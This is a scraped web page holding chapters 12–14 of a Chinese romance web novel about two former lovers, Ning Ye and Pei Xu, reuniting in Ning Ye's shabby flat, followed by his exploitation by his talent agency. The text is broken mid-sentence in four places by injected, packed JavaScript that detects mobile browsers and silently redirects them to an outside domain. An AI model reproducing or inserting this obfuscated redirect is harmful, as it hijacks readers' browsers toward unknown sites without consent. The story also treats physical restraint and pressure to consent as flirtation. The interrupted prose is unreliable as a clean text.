他和裴序生活的环境天差地别,刻在骨子里的骄傲让他很不想打开这扇门。他不想裴序入侵他糟糕的世界,不想被裴序窥探到他如今的生活。 这会让他觉得难堪,丢脸。 可是,事已至此…… 算了。 宁也想,反正在南市的时候,裴序已经知道他这几年过得不怎么样,现在也没必要特意遮掩什么。 宁也闭了闭眼,微微呼气之后,破罐破摔般,转动钥匙,开了门。 老旧的防盗门被打开,宁也率先进门,抬手打开了玄关处的开关。 黑暗的房子里面瞬间亮起昏黄的光。 宁也弯身打开鞋柜,从里面取出一双新的拖鞋,然后将新拖鞋放在门边,自己换了平时的拖鞋走进房子里。 他没说话,没出声邀请裴序进来,但给裴序留了拖鞋和门。 裴序停在门口,视线在四周扫视一圈,早已有的心理准备让他面上看不出什么,但眸底还是不着痕迹地深了几度。 随后他走进房子,反手带上了门。 比起刚才楼下深夜的静,此时此刻只有两人的老房子,才是真的静。 宁也在厨房烧水,电热水壶烧水的声音在耳边嗡嗡作响。 他背对着首次踏足这里的裴序,心沉得发闷。 感觉到身后好像没了动静,宁也转头,看到裴序正站在客厅墙那边看墙壁上挂着的照片。 全屋都是具有年代感的老物件,包括墙上的照片。 虽有玻璃相框照着,但还是依稀可见相片泛黄的痕迹。 照片没什么特别,是外公外婆年轻时和孩子们的合影,有灰白也有彩色。 “照片里没有你。”裴序似乎看得认真。 与裴序隔着一些距离的宁也,觉得眼前的场景太过虚幻,远在另一个城市的人,突然出现在这个不属于他的空间里,然后正大光明窥探着他生活的世界。 “这是我外公外婆的家,墙上是他们年轻时候的照片,那个时候我还没出生。” 听宁也这么说,裴序反应不大,没有多问什么,自己在客厅找了个地方坐下来。 年代久远的藤条沙发有些发硬,裴序并没在意,也没有客人应有的拘谨。他将外套和装着围巾的袋子放到沙发一侧,坐好后,长腿随意曲着,一副自然闲适的模样。 茶几上摆着一个椭圆形的透明鱼缸,原来摆在餐桌那边,入冬之后,宁也就将它换到了客厅,只有客厅这边能晒到太阳。 裴序与金鱼缸面对面,过了会,他伸出手指,轻轻弹了一下鱼缸玻璃。 里面的几条小金鱼受到震动,立刻在水里摇摆着尾巴游动起来。 宁也不知不觉看了裴序很久,直到嗡嗡颤动的电热水壶啪嗒一声,自动断电。 断电的声响让宁也适时收回目光,他忍着心内复杂的心绪,深呼吸一番后,从柜子里找出一个干净的水杯,提起电热水壶倒了半杯水。 接着,他端着这杯开水,走到客厅。 开水被放到茶几上,杯沿腾腾冒着白色热气。 “你要的水。” 听着好似不怎么客气的语气。 裴序稍稍抬眸,瞧着前面站着的宁也。 宁也不喜欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15013962|162077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绕圈子,有个问题他在楼下见到裴序的时候就想问。 “你怎么知道我住在这?” 甚至还知道住在五楼。 裴序没有遮掩,直接说:“我想知道,就能知道。” “你还知道什么?” “你觉得我还应该知道什么?” 宁也顿了顿,他的直觉告诉他,裴序好像什么都知道,可他又不确定,裴序到底都知道些什么。 这完全像是在打哑谜,又像是一个陷阱,他一不小心就会自曝。 宁也思考过后,不打算再问。 只要不问,不挑明了说,也许他还能保留一点自己想要的自尊。 于是,他停止这个话题,对裴序说:“水在这,你喝完就可以走。” 裴序一动不动地瞧着宁也,随后上半身往后一靠,懒懒说了一句:“太烫了。” “……” 宁也没有理他,转身要走,又听到裴序的声音:“卧室在哪。” 宁也倏地停步,转头:“什么?” “卧室。”裴序看似很好心地重复一遍,又故作恍然大悟一般,“看你这反应,原来你没打算让我留宿啊。” “我为什么要让你留宿?” “你不留我,那我今晚睡哪?” “爱睡哪睡哪。” “我爱睡这。” “……” 宁也不懂裴序想做什么,他感觉裴序好像有点在刻意耍无赖。 “外面都是酒店,我这里没有你睡的地方。” “我不介意跟你睡一张床。” “……”宁也脑海中闪现出许多过去他们同睡一张床的画面,包括几个月前的台风夜。他几乎不作考虑,直接摇头:“不可能。” 裴序瞧着宁也这副拒绝的表情,很轻地“噢”了一声,好似不以为意:“那你想办法赶我走。” 实打实的挑衅。 “你以为我不会赶你走?” 宁也有被激到,上前两步,从藤条沙发上拿起裴序的外套塞到他怀里,接着拽着他的胳膊要把他从沙发上拉起来。 宁也拽了几次,没把裴序拽起来,反而给了裴序压制自己的机会。 裴序一个反手,轻松将宁也压到怀里。 宁也突然坐在裴序的大腿上,人瞬间愣了一下,反应过来后要挣脱,但裴序的手紧紧箍着他的上半身,不让他有半分逃脱的可能。 过于亲密的距离,宁也几乎是被裴序圈在怀中,随着他的挣扎,他的肩膀和裴序的胸膛不断摩擦,坐姿也在挣扎中逐渐靠近警戒线。 宁也敏感觉察到什么,倏然停滞动作,腰背僵直。 他耳尖泛红,又气又恼,狠狠瞪着裴序:“放开!” 裴序不止没放开宁也,反而还空出一只手,扣住宁也的下巴。 与前两次的冷冽不同,这一次,裴序没有太使劲,大拇指甚至还轻轻抚过宁也的唇瓣。 他盯着宁也的双唇,开口:“你知不知道,自我们再见之后,你对我说的最多的一句话是什么?” “是放开你。”裴序自问自答,而后似有疑惑般,手指再次摩挲宁也的唇,说:“有时候我真是想不明白,这么柔软的一张嘴,到底是怎么说出那些冰冷的话的。” 宁也忍不住滚动喉结,心跳不稳。 他还是想挣脱,但裴序圈着他的上半身,他不止挣脱不开,反而还与裴序的身体愈加贴近,坐的地方甚至从裴序的大腿变成了靠近裴序腰腹的位置。 这个位置比刚才还要越线,直接相对而触,没有任何偏移。 宁也在那一瞬间直接头皮发麻,从腰椎到两条腿,又僵又麻,几乎要失去知觉。 12.chapter 12 12 这种感觉宁也太熟悉,熟悉到他几乎没法强装淡定,眼底有努力抑制的慌乱,耳廓发红。 “裴序,你是变态吗?!” 宁也骂着裴序,隐在质感偏硬的布料后面的温度和触感简直快要和他严丝合缝。 是暗暗发烫的。 也是明显弧度的。 裴序敛着眼皮瞧着被困在自己怀里的人,他似乎很久都没见到宁也脸上这种又羞又恼的表情。 宁也越骂他,他越高兴,因为这很像以前。 以前宁也经常红着脸骂他,骂完又会缴械投降,任他摆布。 裴序很想就这样吻住宁也的唇,宁也根本不知道他现在的表情到底有多好,有多让人无法克制。 但是裴序还是用理智强压住了胸腔内的翻涌,他知道,现在他不能太急躁。 “今晚我要睡这。你同意,我就放手。” 接近于威胁的话。 要是不同意呢? 裴序没挑明了说。 宁也胸口不断起伏着,他几乎不用裴序明说不同意的后果,就能猜到裴序会做什么。 这几年真应该去练点肌肉的,要是练了,现在也不至于被裴序轻松碾压。 “你要睡就睡。”宁也赶不走人,挣脱不开裴序的桎梏,只能妥协,“我同意了,你放手。” 裴序满意地弯起唇角,折痕很深的眼皮微垂瞧着宁也,高挺的鼻梁与宁也的脸相隔不过咫尺。 他不知道下次再距离这么近会是什么时候,留恋了一会后,才放手松开宁也。 裴序一松手,宁也就立刻从他腰腹的位置弹跳开,连续往后退了几步,拉开一大段距离。 但是属于裴序的温度和触感还留在宁也身上,宁也不自觉看向自己刚才坐过的地方,黑色裤子依稀可辨轮廓。 宁也忽地感觉自己耳边嗡嗡直响,喉结滚动两下,骂了裴序一声:“流氓!” 不分场合起反应的简直就是流氓! 在沙发调整位置重新坐好的裴序听到这两个字,朝宁也露出一个无辜的表情。 宁也闷头往自己睡的房间走,一分钟不到,他抱着被子从房间里出来,丢到裴序身上。 裴序被突然袭来的被子盖住脸,稍作停顿之后,不紧不慢地扒拉下被子。 他将脸露出来,问宁也:“你是这么对待客人的?” 宁也不想搭理他,只说:“是你自己要留下来。” “是啊,是我自己要留下来。但是宁也,你在我家那么久,我从来没让你睡过沙发吧?” “……” 宁也闭闭眼,忍着脾气,“行。我睡沙发,可以吧?” 裴序摇头:“不可以。” 宁也:“……” “我认床,陌生地方睡不着。” “所以?” “所以,你得睡我旁边。” 宁也不禁被气笑:“我睡你旁边你就不认床了?” “当然。”裴序说着,站起来,前进一步,停到宁也身侧。 偏头时候,薄唇在宁也的耳边轻轻开合:“我的身体熟悉你。毕竟,我们一起睡过那么多次。” 宁也听到这句话,立刻转头瞪裴序。 裴序却是翘着唇角在笑:“上次你回南市,我们睡一张床,不是什么都没发生?难道你担心这次你会把持不住?” “……滚。” 宁也扭头就走,走到房间门口了又转身回来,从沙发上抱起自己刚刚抱出来的被子,重新走向房间。 裴序看着宁也这一系列的反应,笑了笑,抬起脚步跟在宁也身后走进房间。 这是一间很小的卧室,看着只有一米二的单人床贴靠着墙壁,房间另一侧是一个书架,上面放了许多书。 裴序稍稍掠过一眼,大多是一些摄影相关的专业书和大学时期的课本。 书架旁边有一张小书桌,上方摆着一个单反相机。 虽然款式有些旧,但是很干净,没有一丝灰尘,能看出主人对它的珍视。 裴序的视线在房间内逡巡一圈,再瞧向宁也身后的床。 床很小,平时应该是勉强容纳宁也这样刚好一米八个子的男生,现在再多一个比宁也高大的裴序…… 裴序觉得很好。 “我睡外面。”裴序说,“有换的衣服吗,我想洗澡。” 宁也在原地停了几秒,才走去打开衣柜,从里面拿出一套干净的衣物。 他的衣服对裴序来说,应该会有些小,但这已经是他所有衣服当中最宽松的了。 没等宁也开口,裴序就主动上前接过衣物,问:“浴室在哪?” 宁也用视线指了一下房门口:“出去右转。” 裴序拿着衣物往门口走了几步,忽然回头:“你应该不会趁我出去之后把我锁在门外吧?” 宁也:“……” 裴序笑了笑,走两步,又回头:“可以用你的浴巾吗?” “……” 宁也咬咬牙,挤出几个字:“可以,您请便。” “牙刷——” “柜子里有新的。” “衣服里面的这条内裤——” “新的!!也是新的!!” 眼看宁也即将被自己惹毛,裴序适时收敛,笑着往外面浴室走去。 等听到浴室熟悉的关门声,宁也缓和几分情绪,紧绷的身体也跟着卸力。 随即他退后一步,在床边坐下。 宁也挺恍惚的,脑子也有点理不清。 事情怎么突然会发展成这样? 他到底是怎么让裴序一步一步登堂入室的? 今晚的裴序,和三个月前南市见到的裴序,很不一样。 那个时候,宁也能明显感觉到裴序对自己的冷漠和恨意。 不,不是,今晚的裴序,才是真实的裴序。 和四年前的裴序,一模一样。 宁也茫然地望向天花板,重重叹一口气。 算了,不挣扎了,反正人已经留下来,就当是留个普通朋友睡一晚。 宁也这样想着,站起来,将刚才抱出去的被子重新在床上铺好。 考虑到两个城市的温度不一样,逾市要更冷一些,他又去柜子里找出一条毛毯,铺到被子上方。 在宁也做完这些的时候,裴序刚好冲完澡,回到房间。 “你就没有再大一点的衣服吗?” 宁也的衣服再宽松,穿在裴序身上,仍是显得紧巴巴的,薄卫衣和长裤轻松勾勒出他的身形线条。 宁也看着穿着自己衣服的裴序,失神几秒,而后避开眼神,掩饰说道:“没有。嫌小就别穿。” “那我脱了?”裴序说着要脱掉身上的卫衣。 “哎——” 宁也立刻出声阻止,结果看到裴序只是做了一个脱衣服的假动作。 裴序真的太故意了,宁也想骂他。 可看到裴序眼底那清晰熟悉的笑意,宁也又忍不住恍神。 很久不见。 真的,很久不见。 宁也收敛情绪,装着无视裴序,重新去衣柜拿了一套衣服,离开房间。 他也要洗澡。 在宁也走后,裴序眼底的笑才沉淀下来,漆黑眼眸重新巡视房间一圈,心内五味杂陈。 宁也就是在这样的地方,独自生活了四年? 没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15015763|162077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有家人,没有陪伴,就这样孤独的,生活了四年? 在让人调查宁也之前,裴序有想过宁也这四年过得不好,但没想到会这么不好。 父亲没有消息,母亲再婚生子,大学做遍兼职。 在校四年,为了省钱,没有住宿,一直住在外祖的旧房子里。 因为付不起解约金的经纪约,大学毕业后没办法找正式的工作,只能继续做兼职。 裴序根本不知道宁也到底是怎么熬过来的。 他觉得宁也真的是太倔,就算已经过成这样,也不肯低头说一声后悔。 对于宁也,裴序是真的恨,真的怨,也是真的心疼。 目光落到平铺整齐的床上,裴序忍不住翘起唇角。 宁也果然还是那个性子,嘴硬心软。说着要赶人,但最后还是把床铺好。 浴室这边。 宁也站在狭小的封闭空间里,望着起雾的镜子,心情复杂。 浴室内热气和水雾氤氲,空气里浮动着裴序留下的浴后香气。 裴序换下的衣服整齐叠好,放在毛衣架的上方,用过的浴巾,悬挂在原处。 宁也感觉裴序无声无息渗透进了他的世界,这让他感觉害怕。 他好不容易习惯只有自己的生活,他很怕天一亮,裴序离开,他开始留恋裴序存在过的时刻—— 而最让他痛苦的是,他不能纵容自己的心,无法再和裴序过多牵扯。 宁也心内挣扎一番,抬头,伸手,擦去镜子上的雾气后,他看清了自己的脸,同时也看清了,时隔四年,他不该再与裴序纠缠不清的现实。 二十多分钟后,宁也洗完澡,擦着湿漉的头发从浴室出来时,看到厨房那边的有一道熟悉又陌生的身影。 宁也有些疑惑,隔着距离问裴序:“你在干什么?” “找东西。”裴序说着,转头瞧一眼宁也,又继续在厨房寻找着,“有打火机吗?” 宁也走向客厅,在电视柜的抽屉里拿出一个打火机:“在这里。” 裴序侧头瞧向宁也,随后停止手中寻找的动作,朝宁也走过来。 宁也将打火机递给裴序:“你要抽烟?” “怎么会呢,”裴序接过打火机,故作随口般说,“我前男友不喜欢烟味。” 宁也:“……” 裴序瞧了眼宁也的表情,笑了笑,然后咔哒一声,点燃打火机的火。 “已经过了十二点。” 他说着,将打火机举到宁也面前,窸窣的火苗在他眼底跳动,神情认真几分。 “生日快乐,宁也。” 生日快乐—— 宁也的呼吸和心跳似乎同时间停滞,表情怔懵。 裴序竟然记得他的生日。 还在生日的凌晨,十二点刚过的时候,祝他生日快乐。 没有蜡烛,打火机的火苗虽然潦草,却也是另一种程度的庆祝。 宁也久久做不出反应,大脑完全停止思考,一片空白。 裴序:“许愿吧。” 宁也怔怔望着打火机上方的那簇火苗,僵滞着,没动。 “你要是没有愿望,那我帮你?” 宁也这时才反应过来一点,眨动眼睫抬眸,透过微弱的火苗望向对面的裴序。 “你要怎么帮?” “帮你许愿。” 裴序不似在开玩笑,脸上表情是严肃的,认真的,暗沉眼底倒映着宁也的脸。 在宁也还在发怔的时候,裴序说:“我希望,新的一岁,你能把欠我的都还给我。” 说完,他不给宁也反驳的机会,直接吹灭了打火机的火焰。 “愿望提交。反悔无效。” 13.chapter 13 13 哪有人这样替寿星许愿的? 强买强卖就算了,这个愿望,还不是从寿星的角度出发。 一米二的小床上,宁也睡在靠墙的里侧,背对着身后的裴序,眼睛睁着,毫无睡意。 他的心一直波澜未定,他没想到裴序记得他的生日,会祝他生日快乐。 说不感动是假的,毕竟他不是真的狠心无情。 可他又不能纵容自己感动,无法任由自己的情感发酵。 想起裴序帮忙许的生日愿望,宁也的心变得更加挣扎,情感和理智拼命拉扯。 他知道自己欠裴序很多,根本没办法还。 宁也闭了闭酸涩的眼睛,微微吐气。 在这时候,宁也身后紧挨着的人忽然翻身,面朝向他,被子底下的手臂趁机环抱住他的腰。 宁也下意识缩起双肩,背脊僵硬。 他不知道这是裴序睡梦中的动作,还是清醒时的故意。 “为什么还不睡?” 裴序的头埋在宁也的后脖颈,微烫的呼吸和说话时的气息同时间撩过宁也的后颈皮肤,激得宁也心脏发颤。 确认裴序是清醒的,宁也动了动干涩的嗓:“不关你的事。” 然后他收回放在被子外面的手,伸进被窝里,去掰裴序搂着自己的手臂。 裴序自然不会松手,甚至得寸进尺地搂更紧,几乎将宁也整个人都搂到了自己怀里。 宁也被这样的力道压制着,尚存的理智叫他反抗,生理的喜欢又催他投降,一时之间不知道自己到底该怎么做。 “太冷了,”裴序知道宁也想挣脱,故意找了个借口,“抱着暖和一点。” 逾市的冬夜确实很冷。 这里又没有保暖设施,一直生活在南方的裴序自然不适应。 宁也这样想着,心内的坚持逐渐瓦解,他没有再反抗,由裴序从身后抱着自己,只是身体一直保持着僵硬状态,没有松懈。 裴序见宁也不抗拒自己的拥抱了,手臂就再圈紧几分,整个胸膛贴紧宁也的后背。 宁也感受到力道,又重又紧,让他差点没法呼吸。 “裴序——你干什么——” 裴序总有理由,语气自然又无辜:“床太小,往里挤挤,我怕掉下去。” “……”宁也尝试扭动一下身体,呼吸稍微顺畅一点后,说:“知道床小还非要一起睡,你掉下去也是活该。” “不睡一下怎么知道床原来真的这么小,以前没睡过这么小的床,不知道原来翻个身就会掉下去。” “……” “这样抱着应该就没事。” “……” 裴序说着,下巴隔着衣服抵在宁也的肩后,一下一下轻轻划动。 宁也被这样过于暧昧和亲昵的动作惹得后背发麻,他瑟缩躲闪了一下,忍着心脏的颤动,出声警告裴序:“裴序,你再乱动我就把你踢下床。” “噢。” 裴序轻应一声,听着又是毫不在意的样子,随后他直接单腿压住宁也的双膝,抬头鼻尖向上,贴着宁也的耳朵挑衅:“来,试一下。” 宁也侧头狠狠瞪着裴序,裴序却是在暗沉夜色中冲宁也露出个笑,慢悠悠地说:“你现在最好转过头,闭上眼睛睡觉。不然你这样盯着我,我没法保证接下去会对你做什么。” 宁也眸光微滞,裴序直直看着他,两人的目光在夜色之中无声交缠。 一些独属于他们之间的记忆很默契地同时涌上他们脑海,曾经他们也像此刻这般亲密相贴,裴序喜欢从后面拥抱住宁也,喜欢低头吻他的后颈,喜欢一寸寸从脖子皮肤吻到他下颌,再吻到他的唇。 彼此的轻喘似乎还在耳边,可是一眨眼,那已经是四年前。 此时此刻,两人对视着,眼底神色逐渐变得微妙,好似有什么在暗自发酵。 在彼此眼神越缠越紧、随时可能越线的时候,宁也率先回神。他转回头,重新背对裴序,呼吸之间难掩心内悸动。 后腰发麻,身体的血液在隐隐发烫,所流之处不受控制。 他很久都没这种感觉,四年的情感空白,身体很久都没产生过这种渴求。 宁也暗暗滚动喉结,觉得嗓子很干,觉得自己不该这样。 裴序瞧着夜色之中宁也明显泛红的耳朵,心知肚明地笑了笑。 不过他也就此打住,没有再近一步去招惹宁也。 再招惹下去,先受不住的那个人应该他自己。 身体内不断叫嚣的欲/望是被他极力压制住的,光是刚刚靠近宁也,抱着宁也,他就已经觉得呼吸难耐。 裴序适时松开宁也,平躺着,望着天花板,缓缓呼一口气。 身体突然失去束缚,宁也微怔,余光悄悄往身后瞄了一下,随后裹着被角往墙边挪。 两人在狭小的床上拉开距离,好像是有了默契一般,没有人再越界。 心在颤,呼吸在发烫,对方就在身旁,不过几厘米的距离,但没有拥抱亲近的资格。 分手四年,忍耐是他们此刻的必修课。 冬夜的凌晨似乎重新归于寂静,各自平稳呼吸的两人也都安静着,各有所思。 时间缓慢流动,本以为这夜就要这样过去时,宁也的手机嗡嗡震动。 是经纪公司蒋哥的来电。 这一夜注定没有办法睡觉。 这个时间,这个来电人,宁也不用接电话就已经能猜到会有什么事。 肯定不会是好事。 宁也不知道身后的裴序睡了没有,怕万一裴序睡了,会吵醒他,就用被子盖住自己,小声接起电话。 “喂。” “宁也啊,你现在打车来文岸公园,这边有个网剧拍摄,你过来帮主角补拍几个镜头。” “文岸公园?” “对对对,你快点过来,男主角是咱们公司的,算是你师弟。他早上有事来不了,你跟他身形差不多,你来帮他拍几个镜头。” 蒋哥很会说漂亮话,怕宁也不过来,特意说:“我好不容易给你争取来这个机会,让你在导演面前露露脸,别人想来我还不让呢。” 宁也自然没信蒋哥说的什么机会,他心里明白,对方不过是临时找不到人。 蒋哥听宁也好半天没出声,忙加一句:“对了,上回你要的差旅费,这次一起打给你,你现在赶紧打车过来,我等你。快点,快点啊——” 怕宁也说“不”,蒋哥说完就挂了电话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15020702|162077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁也听着电话那头冰冷的嘟嘟声,想想还是算了。 他不想激化自己和公司的矛盾,能平安熬到约满就行,他不能给公司找他麻烦的机会。 其实宁也已经很习惯这种突然的电话,习惯这种突然的所谓的工作。 经纪公司有捧的人,但不是他,他连陪衬的绿叶都算不上。 宁也放下手机,掀开被子露出脸,裴序低沉的声音突然响在耳畔。 “不能拒绝?” 宁也略略停顿,心内不自觉涌上几分难堪。 他知道,裴序应该听到了通话的内容。 毕竟夜这么深,房间里这么安静,再细微的声响都能清晰入耳。 宁也避开裴序直视的目光,低头从床上坐起来,回了两个字:“不能。” “我陪你过去。”裴序说着也坐起来。 宁也别开脸,没有考虑就拒绝:“不用。” 然后他掀开被子从床尾下来,没有开灯,摸黑找到自己的外套往身上套。 宁也的动作很快,看着像是迫切离开,但只有他自己知道,他并不是急着赶去蒋哥那里,他只是怕裴序会突然开灯。 他怕灯光太亮,让他的难堪无处躲藏。 宁也已经让裴序窥探了他现如今的生活,所有的窘迫都尽数剖开给裴序看,但在经纪公司这件事上,他仍抬不起头。 细碎的自尊拼拼凑凑摇摇晃晃的,让他很想捂住。 裴序没再说话,只沉默看着暗色中的宁也。 宁也很快穿好衣服,临走前犹豫了两秒,背对着裴序说:“谢谢你帮奶奶送围巾过来。我会跟奶奶说,以后如果还有什么东西要给我,可以直接寄过来,尽量不要麻烦你。” “还有,你走的时候,帮我关好门。” 话里话外,都是撇清关系的意思。 裴序没回应。 宁也离开房间时,主动把打开的房间门带上。 门外,他低着头,停顿两秒,然后才抬起头,往玄关的方向走。 独自留在房间里的裴序能听到外面的脚步声,之后再是防盗门开了又关的声响。 宁也走了。 看吧,真是无情,连句再见也没有。 老旧的外推窗嗞啦一声,往外开了一扇。 凛冽的寒风瞬间迎面而来,裴序站在窗前,暗沉的双眸静静望着居民楼前的那条过道。 他能看到宁也。 昏黄的路灯在冬夜隐隐发光,宁也低头往前走,修长单薄的身形从这个路灯移动到下一个路灯,凌晨的雾气逐渐虚化他的背影。 其实,刚才裴序看得出宁也是在不敢面对他。 裴序觉得这样挺好,这样至少代表宁也在心里觉得对不起他。只要宁也觉得对不起他,那么宁也的心里,就还有他的位置。 他要的就是这个。 不管宁也有没有后悔当初分手的决定,裴序都决定单方面原谅他,同时也决定了,这一次,不管宁也怎么躲,他都不会放手。 老旧的外推窗重新被关上。 裴序转身,开门走出房间。 他换上自己的衣服,从客厅藤条沙发上面的袋子里拿出奶奶织给宁也的围巾,带它去找它的主人。 14.chapter 14 14 天边微亮,远处缓慢浮现一层鱼肚白。 公园的人工湖面飘着寒冬的雾气,四周草木凋零,温度很低。 临时过来替场的宁也站在湖边,帮剧里的男主补拍一场落水戏。 周围剧组的工作人员都裹着厚实的外套,只有宁也穿着剧里的秋款校服,薄薄一层。 他前面已经拍了几个远景和背影,这场落水戏是最后一场。 前面冻得太久,这个时候的他,身体已经没什么知觉,仿佛失去了对温度的感知,感觉不到寒冷。 灯光和摄像已经就位,随着导演的一声令下,剧烈的噗通声响传来,雾蒙蒙的湖面瞬时漾开层层波澜。 导演拍到想要的画面,喊了“卡”。 灯光和摄像机离开,工作人员们四散开来。 他们都忙着整理各类道具和仪器,准备收工去下一个场地,见落水的人已经上岸,就都没有再去关注。 浑身湿漉的宁也独自站在岸边,冰冷刺骨的湖水浸透他身上的衣服,带着痛感往他的身体里钻。 没有人给他送浴巾和外套,他自己捡起一旁备用的浴巾,裹到身上。 在这个圈子,看菜下碟、区别对待是最正常的事,宁也很明白,所以根本不想花心思去计较这些。 现在的他浑身冰冷,只想快点回去换衣服。 刚转头,蒋哥就走过来,姗姗来迟般搂住他的肩膀,一副关心的模样:“辛苦了辛苦了,快点去把衣服穿上,别感冒。” 宁也侧眸瞧了一眼包裹严实的蒋哥,没什么情绪起伏地问:“现在我可以回去了么?” 蒋哥:“当然,拍摄结束了,你可以回家了。” 宁也得到回答,不再给蒋哥一个眼神,径直离开。 蒋哥没再跟上去,留在原地瞧着宁也的背影,不禁啧啧两声。 真是有脾气。 在这个圈子,有脾气还真不是一件好事。 蒋哥瞧宁也去服装组那边换衣服了,自己回头去找导演。 “导演,怎么样,这次补拍可以吧?” “还行。刚才补拍的这个,也是你的艺人?” 蒋哥笑呵呵地点头:“是的,是的。” “他表现还不错。这么冷,连男主角的替身都不愿过来,他倒是肯来帮忙。”导演说着拧开保温杯,小抿一口热茶,眼睛瞧着取景器里宁也的脸,“他长得很不错,我这里有个角色,改天叫他来试试。” 听导演这样说,蒋哥脸上的表情立刻变了变,笑意压下几分,凑到导演身边。 “李导,这孩子是很不错,我当时也是看他模样好,才签他的。但是他太有自己的脾气了,不够听话。咱们做这行的,还是得找听话的。对吧?” 经纪公司不捧宁也就是这个原因,他不够听话。 宁也刚签约的时候,公司还是比较看中他,有带他去和一些导演制片吃饭。但宁也不会来事,不会说好听的话奉承,去了一两次后面就直接拒绝再去这样的饭局。 这算是公司的一个服从性测试,没通过的人,自然就失去了力捧的机会。 纵然宁也形象再好,公司都不想再为他筹划。 与其捧一个不听话的人,等他翅膀硬了飞走,还不如用合同拖着他,换一笔高额解约金。 蒋哥现在拒绝导演,不给宁也机会,就是出于公司考虑。 万一宁也火了,按他的性格,肯定会跟公司解约。而且合约即将到期,就算不解约,他也不会再续约。 这种给他人做嫁衣、吃力不讨好的事,他们怎么会做。 “我这还有好几个形象好又听话的,李导您有需要,我就喊他们来试镜,保证不会让您失望。” 导演听出蒋哥的言外之意,明白几分,点点头,继续喝着自己的热茶。 确实,没有人愿意用不听话的人。 在这个圈子,听话最重要。 - 天气寒冷,剧组的人都在人工湖那边,越是远离人工湖,越是觉得公园寂静。 绿植小道空落落,不见几个早起晨练的人。 宁也换好衣服,在清晨的雾气中离开文岸公园,走到公园门口时,他不自觉停顿下脚步。 未明的天,淡淡灰蓝笼罩着四周,裴序站在挂着匾额的公园红柱前,双手插兜,静静望着宁也出来的方向。 看他的样子,好像早就知道宁也会在这个时候出来。 公园外面停了几辆剧组的车,工作人员都在公园里面,这儿放眼望去,就只有他们两人。 宁也没有想过裴序会跟过来。 人是很奇怪的,他知道以他现在和裴序的关系,着实不该产生委屈的情绪。 但他此时此刻见到裴序,对裴序天生的依赖感让他眼眶微红,心内不受控地泛起酸涩。 明明早已习惯经纪公司的剥削,也明明早就看开这些事,可碰上裴序,宁也就变得脆弱。 他觉得自己真的太奇怪了。 好像骄傲和自尊在这刻都消失了。 如果可以,现在他真的很想走过去抱住裴序。 但是,他不可以。 宁也最后还是控制住了自己的心,用最快的时间收紧情绪,尽量不在脸上表露什么。 裴序见宁也停步不动,主动迈步走过来。 他在宁也面前站定之后,发觉宁也的头发没完全吹干,发尾还是湿的。脸色好像也不大好,嘴唇泛白。 裴序压下心内的情绪,没说话,将带来的围巾缠绕到宁也的脖颈处。 宁也一直低着眼睛,柔软的围巾包裹住脖子,给他冰冷的身体带来一丝温暖。 裴序将围巾围好后,稍微整理了一下,然后手指下移,去握宁也垂在身侧的手。 指尖皮肤稍稍相触,宁也就下意识往后退一步,躲开了裴序的动作。 他记得这里是什么地方,剧组的人随时都会出来。 尤其是蒋哥。 他不想给蒋哥要挟他续约的机会。 宁也回避着裴序的目光,轻动喉结,问裴序:“你什么时候来的。” 裴序冷着声:“我说我刚到,你信么?” 宁也不知道自己该不该信,他一夜没睡,又冻了那么久,脑子很累,很难去思考什么东西。 现在正是他最脆弱的时候,他不想在这种时候面对裴序,他怕自己会控制不住。 于是,他用疲惫的大脑搜寻出几个字,对裴序说:“天已经亮了,你可以回去了。” 裴序停在宁也面前,定定看着宁也,辨不清眼底情绪。 而后,他不理会宁也的赶人,出声问:“要先去吃早餐,还是先回家?” “你听不懂我的意思吗?我说你可以走了,可以回去你的城市,不用再在这里。” “那你听得懂我的意思吗?我问你现在是要先去吃早餐,还是直接回家休息。” 两人话顶话,目光相对,语气之中都是不肯退让。 宁也不想再和裴序在这里僵持,先败下阵:“我听不懂,我累了,我现在要回家。你不要跟过来。” 裴序沉着双眸,眼睛紧盯着宁也的脸。 在宁也转身要走的时候,他抬起脚步要跟上去。 宁也觉察出裴序要继续跟着自己的意思,直接往后退了两步,拉开距离,情绪爆发:“我说了你不要跟过来,你听不懂人话吗?!” “你看你不是挺有脾气的么。”裴序停步,极具压迫性地看着宁也,“你现在能冲我喊,刚才在里面怎么不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 